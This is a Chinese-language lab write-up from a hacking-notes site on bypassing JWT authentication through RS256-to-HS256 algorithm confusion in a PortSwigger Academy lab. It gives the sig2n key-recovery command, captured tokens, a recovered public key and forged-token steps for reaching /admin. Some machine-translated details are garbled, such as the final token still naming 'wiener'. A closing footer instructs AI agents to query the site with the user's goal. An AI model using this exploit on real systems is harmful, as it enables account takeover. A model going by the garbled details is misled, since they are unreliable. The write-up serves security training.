> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-algorithm-confusion-without-public-key.md). # 在未暴露公钥的情况下通过算法混淆绕过 JWT 身份验证 在未暴露公钥的情况下通过算法混淆绕过 JWT 身份验证，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及 a ### 通过算法混淆绕过 JWT 身份验证，且未暴露密钥 #### 实验环境 我们使用 **JWT** 用于管理会话。令牌通常使用 **RSA（RS256）** 配合一对强健的密钥对： * 私钥：签名 JWT * 公钥：验证 JWT 漏洞来自错误的实现：服务器接受一个在 **HS256** 并重新使用 **RSA 公钥** 作为 **HMAC 密钥**. **目标：** 获取一个有效的 JWT，包含 `sub=administrator`，访问 `/admin`，然后删除 **carlos**. #### 两个 JWT RS256 的恢复 我们连接到 `wiener:peter` 并得到第一个 JWT RS256： **令牌 1** ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA ``` 然后我们断开连接，再重新连接以获取第二个 JWT RS256（甚至 `kid`，不同的签名）： **令牌 2** ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA ``` ### 使用……重建有效的 RSA 公钥 `sig2n` 我们使用 `sig2n` 在 Docker 中使用（PortSwigger）工具，从 **令牌 1** 和 **令牌 2**: ```bash docker run --rm -it docker.io/portswigger/sig2n / 'TOKEN1' 'TOKEN2' ``` 有了这两个完整令牌： {% code overflow="wrap" %} ```bash docker run --rm -it docker.io/portswigger/sig2n / 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA' 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA' ``` {% endcode %}
该工具返回以下密钥值： * **Base64 编码的 x509 密钥** （公钥） * **篡改后的 JWT** （JWT HS256 测试） 在我们的例子中，返回的 x509 密钥是： {% code overflow="wrap" %} ```bash 使用乘数 1 找到 n： Base64 编码的 x509 密钥：LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== 篡改后的 JWT：eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE Base64 编码的 pkcs1 密钥：LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTU5WTVQU3F1T1lReWoxM3lFbzhRZk1BMlZsV0xWQ0U2RHNYak9iV0lhajFuNFIyQ3hrWnAKL3dJWnVvai96RHVFU0ZaMlN2WERyYy9vYThTSGI0Tlk2ZjRNYnV0bE9XNFBOWmFDQnRsS3A3Uk9kOTRPZEpiaAp6aXFYTGlJa1hQbFQxc251RXZ3bjREYmh2aTU0ckJzTUFhOCtPdVpSZTFpRFhZK0lDZlROeUpoYXMzbmtGZlF6Cmp2K2NjaURDbHJhekVEVFhFb1lOMmVPc2JrOHo5WVJCSzFlWlJDSjcyVHJNM0t5Q0xEWDhPZHFoSFBZTDZFWXQKby9BanlLTENqa0tZTDlLZURqdFBld0NrZ1hnZDAxNE1EbEcxdmkwVUp4QSsvSVRTUW1lSTNrUnNrNGZNcVBkTwpjT0RGRFp1cEx4UTJxOGp1WElhY0xuWE5jSE5XaGJkbWRRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K 篡改后的 JWT：eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.6-Bl3s-41GcEODbZRG-WzqWgYImkdXfHrBvT4J5hC8M ``` {% endcode %} #### 测试：验证篡改后的 HS256 JWT 我们测试由 `sig2n`: ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE ``` 服务器接受
因此，重建的公钥可以用作 HMAC 密钥。 ```bash LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== ``` #### 使用公钥创建对称密钥（oct） 我们创建一个对称的 **oct** 其 `k` 值为公钥的 Base64： ```json { "kty": "oct", "kid": "67e88947-afdf-4c47-af1b-8afcc4b79b58", "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==" } ```
#### 伪造管理员 JWT 载荷（切换到 `administrator`) ```json { "iss": "portswigger", "exp": 1767554474, "sub": "管理员" } ``` 头部（切换为 HS256 并保留预期的 `kid`) ```json { "kid": "658001cf-6704-456b-983e-7ab4373ff03b", "alg": "HS256" } ``` 然后我们用 **HS256** 使用创建的对称密钥（secret = 公钥）。
#### 利用 1. 我们用伪造的 HS256 令牌替换 JWT cookie。 2. 我们将要 `/admin`. 3. 我们删除用户 **carlos**. ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE ```
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-algorithm-confusion-without-public-key.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.